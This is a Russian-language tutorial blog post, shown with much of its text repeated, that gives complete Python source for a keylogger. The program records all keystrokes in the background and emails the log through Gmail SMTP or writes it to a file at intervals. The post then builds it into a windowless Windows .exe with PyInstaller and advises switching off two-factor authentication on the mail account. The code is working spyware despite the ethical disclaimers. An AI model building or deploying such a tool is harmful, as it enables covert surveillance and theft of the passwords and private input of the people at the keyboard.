Сергей Кравченко Более 7 лет работы в IT-сфере. Системное администрирование, frontend разработка, написание скриптов на Python. Руководство по созданию кейлоггера на Python, который записывает нажатия клавиш с клавиатуры и отправляет их по электронной почте или сохраняет в файл журнала. Этот материал публикуется исключительно в ознакомительных целях. Автор и редакция категорически против неэтичного использования программного кода, приведенного ниже для слежки, шпионажа, хищения данных и других возможных злоупотреблений. Автор и редакция не несут ответственность за негативные последствия использования этого материала. Что такое кейлоггер и зачем он нужен Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Кейлоггинг можно использовать для изучения динамики нажатия клавиш (.pdf), взаимодействия человека с компьютером, сохранения и анализа информации при вводе. Скажем, когда вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации. Подготовка: устанавливаем Python и библиотеки Для начала нам потребуется установить Python. Если это уже сделано, можете смело пропустить этот абзац и переходить к установке библиотеки. В противном случае скачайте и установите подходящий релиз с официальной страницы языка. В данном руководстве мы будем использовать версию Python 3.9, но, по сути, подойдет любая версия. Кроме этого, нам понадобится библиотека keyboard. Она позволяет контролировать и регистрировать ввод с клавиатуры. Ставим библиотеку простой командой в терминале: pip3 install keyboard Пишем кейлоггер Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email. Импорт библиотек Начнем с импорта необходимых библиотек: import keyboard import smtplib #для отправки электронной почты по протоколу SMTP (gmail) #Таймер для запуска через заданный «интервал» времени. from threading import Timer from datetime import datetime Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи: разрешен доступ для небезопасных приложений; отключена двухэтапная аутентификация. Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений. Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера» Интересно, перейти к каналу Инициализируем параметры SEND_REPORT_EVERY = 60 #время в секундах EMAIL_ADDRESS = "notmygmail@gmail.com" EMAIL_PASSWORD = "notmypassword" Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать. Создаем класс и методы Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу: class Keylogger: def __init__(self, interval, report_method="email"): # передаем SEND_REPORT_EVERY в интервал self.interval = interval self.report_method = report_method # это строковая переменная, которая содержит лог self.log = "" #запись начала и окончания даты и времени self.start_dt = datetime.now() self.end_dt = datetime.now() Мы установили в качестве метода отправки по умолчанию значение email, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл. Используем функцию клавиатуры on_release(), которая принимает обратный вызов. def callback(self, event): name = event.name if len(name) > 1: #не символ, специальная клавиша (например, ctrl, alt и т. д.) #верхний регистр if name == "space": #" " вместо пробелов name = " " elif name == "enter": #добавлять новую строку всякий раз, когда нажимается ENTER name = "[ENTER]n" elif name == "decimal": name = "." else: #замените пробелы символами подчеркивания name = name.replace(" ", "_") name = f"[{name.upper()}]" #добавить имя ключа в глобальную переменную self.log += name Пишем метод для записи в локальный файл def update_filename(self): #создать имя файла, которое будет идентифицировано по дате начала и окончания записи start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") self.filename = f"keylog-{start_dt_str}_{end_dt_str}" def report_to_file(self): # создать файл with open(f"{self.filename}.txt", "w") as f: # записать лог print(self.log, file=f) print(f"[+] Saved {self.filename}.txt") Отправка на email def sendmail(self, email, password, message): # управляет подключением к SMTP-серверу server = smtplib.SMTP(host="smtp.gmail.com", port=587) # подключиться к SMTP-серверу в режиме TLS server.starttls() # логин server.login(email, password) # отправить сообщение server.sendmail(email, email, message) # завершает сеанс server.quit() Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: 'ascii' codec can't encode character, откройте библиотеку smtplib.py по адресу C:UsersuserAppDataLocalProgramsPythonPython39Lib, найдите строку msg = _fix_eols(msg).encode('ascii') и замените ее на msg = _fix_eols(msg).encode('utf8'). Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу. Сообщаем лог через заданные промежутки времени def report(self): if self.log: self.end_dt = datetime.now() # обновить `self.filename` self.update_filename() if self.report_method == "email": self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) elif self.report_method == "file": self.report_to_file() self.start_dt = datetime.now() self.log = "" timer = Timer(interval=self.interval, function=self.report) timer.daemon = True # старт timer.start() Давайте определим метод on_release(): def start(self): #записать дату и время начала self.start_dt = datetime.now() #запустить кейлогер keyboard.on_release(callback=self.callback) self.report() keyboard.wait() Мы закончили с классом Keylogger, теперь нужно создать экземпляр этого класса: if __name__ == "__main__": # для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file" # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email") # для записи в локальный файл оставляем как есть keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") keylogger.start() Использование Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller. Для этого ставим саму библиотеку: pip3 install pyinstaller И собираем все в файл: pyinstaller --onefile -w 'keylogger.py' На выходе получаем файл с расширением .exe, который можно использовать на любом компьютере под управлением Windows. Повторяем, мы категорически против неэтичного использования этого кода и просим обязательно уведомить всех пользователей компьютера, где вы будете запускать данное ПО. Материалы по теме 🕵 Как взломать Wi-Fi с помощью Kali Linux 2020.4 и Ubuntu 20.04 ⛑️ Этичный взлом: учимся белому хакингу 🧨 Bug Bounty: как заработать на взломе
Более 7 лет работы в IT-сфере. Системное администрирование, frontend разработка, написание скриптов на Python. Руководство по созданию кейлоггера на Python, который записывает нажатия клавиш с клавиатуры и отправляет их по электронной почте или сохраняет в файл журнала. Этот материал публикуется исключительно в ознакомительных целях. Автор и редакция категорически против неэтичного использования программного кода, приведенного ниже для слежки, шпионажа, хищения данных и других возможных злоупотреблений. Автор и редакция не несут ответственность за негативные последствия использования этого материала. Что такое кейлоггер и зачем он нужен Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Кейлоггинг можно использовать для изучения динамики нажатия клавиш (.pdf), взаимодействия человека с компьютером, сохранения и анализа информации при вводе. Скажем, когда вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации. Подготовка: устанавливаем Python и библиотеки Для начала нам потребуется установить Python. Если это уже сделано, можете смело пропустить этот абзац и переходить к установке библиотеки. В противном случае скачайте и установите подходящий релиз с официальной страницы языка. В данном руководстве мы будем использовать версию Python 3.9, но, по сути, подойдет любая версия. Кроме этого, нам понадобится библиотека keyboard. Она позволяет контролировать и регистрировать ввод с клавиатуры. Ставим библиотеку простой командой в терминале: pip3 install keyboard Пишем кейлоггер Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email. Импорт библиотек Начнем с импорта необходимых библиотек: import keyboard import smtplib #для отправки электронной почты по протоколу SMTP (gmail) #Таймер для запуска через заданный «интервал» времени. from threading import Timer from datetime import datetime Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи: разрешен доступ для небезопасных приложений; отключена двухэтапная аутентификация. Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений. Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера» Интересно, перейти к каналу Инициализируем параметры SEND_REPORT_EVERY = 60 #время в секундах EMAIL_ADDRESS = "notmygmail@gmail.com" EMAIL_PASSWORD = "notmypassword" Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать. Создаем класс и методы Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу: class Keylogger: def __init__(self, interval, report_method="email"): # передаем SEND_REPORT_EVERY в интервал self.interval = interval self.report_method = report_method # это строковая переменная, которая содержит лог self.log = "" #запись начала и окончания даты и времени self.start_dt = datetime.now() self.end_dt = datetime.now() Мы установили в качестве метода отправки по умолчанию значение email, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл. Используем функцию клавиатуры on_release(), которая принимает обратный вызов. def callback(self, event): name = event.name if len(name) > 1: #не символ, специальная клавиша (например, ctrl, alt и т. д.) #верхний регистр if name == "space": #" " вместо пробелов name = " " elif name == "enter": #добавлять новую строку всякий раз, когда нажимается ENTER name = "[ENTER]n" elif name == "decimal": name = "." else: #замените пробелы символами подчеркивания name = name.replace(" ", "_") name = f"[{name.upper()}]" #добавить имя ключа в глобальную переменную self.log += name Пишем метод для записи в локальный файл def update_filename(self): #создать имя файла, которое будет идентифицировано по дате начала и окончания записи start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") self.filename = f"keylog-{start_dt_str}_{end_dt_str}" def report_to_file(self): # создать файл with open(f"{self.filename}.txt", "w") as f: # записать лог print(self.log, file=f) print(f"[+] Saved {self.filename}.txt") Отправка на email def sendmail(self, email, password, message): # управляет подключением к SMTP-серверу server = smtplib.SMTP(host="smtp.gmail.com", port=587) # подключиться к SMTP-серверу в режиме TLS server.starttls() # логин server.login(email, password) # отправить сообщение server.sendmail(email, email, message) # завершает сеанс server.quit() Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: 'ascii' codec can't encode character, откройте библиотеку smtplib.py по адресу C:UsersuserAppDataLocalProgramsPythonPython39Lib, найдите строку msg = _fix_eols(msg).encode('ascii') и замените ее на msg = _fix_eols(msg).encode('utf8'). Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу. Сообщаем лог через заданные промежутки времени def report(self): if self.log: self.end_dt = datetime.now() # обновить `self.filename` self.update_filename() if self.report_method == "email": self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) elif self.report_method == "file": self.report_to_file() self.start_dt = datetime.now() self.log = "" timer = Timer(interval=self.interval, function=self.report) timer.daemon = True # старт timer.start() Давайте определим метод on_release(): def start(self): #записать дату и время начала self.start_dt = datetime.now() #запустить кейлогер keyboard.on_release(callback=self.callback) self.report() keyboard.wait() Мы закончили с классом Keylogger, теперь нужно создать экземпляр этого класса: if __name__ == "__main__": # для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file" # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email") # для записи в локальный файл оставляем как есть keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") keylogger.start() Использование Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller. Для этого ставим саму библиотеку: pip3 install pyinstaller И собираем все в файл: pyinstaller --onefile -w 'keylogger.py' На выходе получаем файл с расширением .exe, который можно использовать на любом компьютере под управлением Windows. Повторяем, мы категорически против неэтичного использования этого кода и просим обязательно уведомить всех пользователей компьютера, где вы будете запускать данное ПО. Материалы по теме 🕵 Как взломать Wi-Fi с помощью Kali Linux 2020.4 и Ubuntu 20.04 ⛑️ Этичный взлом: учимся белому хакингу 🧨 Bug Bounty: как заработать на взломе
Этот материал публикуется исключительно в ознакомительных целях. Автор и редакция категорически против неэтичного использования программного кода, приведенного ниже для слежки, шпионажа, хищения данных и других возможных злоупотреблений. Автор и редакция не несут ответственность за негативные последствия использования этого материала.
Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Кейлоггинг можно использовать для изучения динамики нажатия клавиш (.pdf), взаимодействия человека с компьютером, сохранения и анализа информации при вводе. Скажем, когда вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации.
Для начала нам потребуется установить Python. Если это уже сделано, можете смело пропустить этот абзац и переходить к установке библиотеки. В противном случае скачайте и установите подходящий релиз с официальной страницы языка. В данном руководстве мы будем использовать версию Python 3.9, но, по сути, подойдет любая версия.
Кроме этого, нам понадобится библиотека keyboard. Она позволяет контролировать и регистрировать ввод с клавиатуры.
Ставим библиотеку простой командой в терминале:
pip3 install keyboard
Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.
Начнем с импорта необходимых библиотек:
import keyboard import smtplib #для отправки электронной почты по протоколу SMTP (gmail) #Таймер для запуска через заданный «интервал» времени. from threading import Timer from datetime import datetime
Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:
Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.
Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера» Интересно, перейти к каналу
SEND_REPORT_EVERY = 60 #время в секундах EMAIL_ADDRESS = "notmygmail@gmail.com" EMAIL_PASSWORD = "notmypassword"
Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать.
Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:
class Keylogger: def __init__(self, interval, report_method="email"): # передаем SEND_REPORT_EVERY в интервал self.interval = interval self.report_method = report_method # это строковая переменная, которая содержит лог self.log = "" #запись начала и окончания даты и времени self.start_dt = datetime.now() self.end_dt = datetime.now()
Мы установили в качестве метода отправки по умолчанию значение email, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.
email
Используем функцию клавиатуры on_release(), которая принимает обратный вызов.
on_release()
def callback(self, event): name = event.name if len(name) > 1: #не символ, специальная клавиша (например, ctrl, alt и т. д.) #верхний регистр if name == "space": #" " вместо пробелов name = " " elif name == "enter": #добавлять новую строку всякий раз, когда нажимается ENTER name = "[ENTER]n" elif name == "decimal": name = "." else: #замените пробелы символами подчеркивания name = name.replace(" ", "_") name = f"[{name.upper()}]" #добавить имя ключа в глобальную переменную self.log += name
def update_filename(self): #создать имя файла, которое будет идентифицировано по дате начала и окончания записи start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") self.filename = f"keylog-{start_dt_str}_{end_dt_str}" def report_to_file(self): # создать файл with open(f"{self.filename}.txt", "w") as f: # записать лог print(self.log, file=f) print(f"[+] Saved {self.filename}.txt")
def sendmail(self, email, password, message): # управляет подключением к SMTP-серверу server = smtplib.SMTP(host="smtp.gmail.com", port=587) # подключиться к SMTP-серверу в режиме TLS server.starttls() # логин server.login(email, password) # отправить сообщение server.sendmail(email, email, message) # завершает сеанс server.quit()
Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: 'ascii' codec can't encode character, откройте библиотеку smtplib.py по адресу C:UsersuserAppDataLocalProgramsPythonPython39Lib, найдите строку msg = _fix_eols(msg).encode('ascii') и замените ее на msg = _fix_eols(msg).encode('utf8'). Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.
UnicodeEncodeError: 'ascii' codec can't encode character
smtplib.py
C:UsersuserAppDataLocalProgramsPythonPython39Lib
msg = _fix_eols(msg).encode('ascii')
msg = _fix_eols(msg).encode('utf8')
def report(self): if self.log: self.end_dt = datetime.now() # обновить `self.filename` self.update_filename() if self.report_method == "email": self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) elif self.report_method == "file": self.report_to_file() self.start_dt = datetime.now() self.log = "" timer = Timer(interval=self.interval, function=self.report) timer.daemon = True # старт timer.start()
Давайте определим метод on_release():
def start(self): #записать дату и время начала self.start_dt = datetime.now() #запустить кейлогер keyboard.on_release(callback=self.callback) self.report() keyboard.wait()
Мы закончили с классом Keylogger, теперь нужно создать экземпляр этого класса:
Keylogger
if __name__ == "__main__": # для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file" # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email") # для записи в локальный файл оставляем как есть keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") keylogger.start()
Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller. Для этого ставим саму библиотеку:
pip3 install pyinstaller
И собираем все в файл:
pyinstaller --onefile -w 'keylogger.py'
На выходе получаем файл с расширением .exe, который можно использовать на любом компьютере под управлением Windows.
.exe
Повторяем, мы категорически против неэтичного использования этого кода и просим обязательно уведомить всех пользователей компьютера, где вы будете запускать данное ПО.
ΠΠ°Ρ Π°Π΄ΡΠ΅Ρ email Π½Π΅ Π±ΡΠ΄Π΅Ρ ΠΎΠΏΡΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½. ΠΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΡΠ΅ ΠΏΠΎΠ»Ρ ΠΏΠΎΠΌΠ΅ΡΠ΅Π½Ρ *
Π‘ΠΎΡ ΡΠ°Π½ΠΈΡΡ ΠΌΠΎΡ ΠΈΠΌΡ, email ΠΈ Π°Π΄ΡΠ΅Ρ ΡΠ°ΠΉΡΠ° Π² ΡΡΠΎΠΌ Π±ΡΠ°ΡΠ·Π΅ΡΠ΅ Π΄Π»Ρ ΠΏΠΎΡΠ»Π΅Π΄ΡΡΡΠΈΡ ΠΌΠΎΠΈΡ ΠΊΠΎΠΌΠΌΠ΅Π½ΡΠ°ΡΠΈΠ΅Π².
Δ
ΠΡΠΎΡ ΡΠ°ΠΉΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅Ρ Akismet Π΄Π»Ρ Π±ΠΎΡΡΠ±Ρ ΡΠΎ ΡΠΏΠ°ΠΌΠΎΠΌ. Π£Π·Π½Π°ΠΉΡΠ΅, ΠΊΠ°ΠΊ ΠΎΠ±ΡΠ°Π±Π°ΡΡΠ²Π°ΡΡΡΡ Π²Π°ΡΠΈ Π΄Π°Π½Π½ΡΠ΅ ΠΊΠΎΠΌΠΌΠ΅Π½ΡΠ°ΡΠΈΠ΅Π².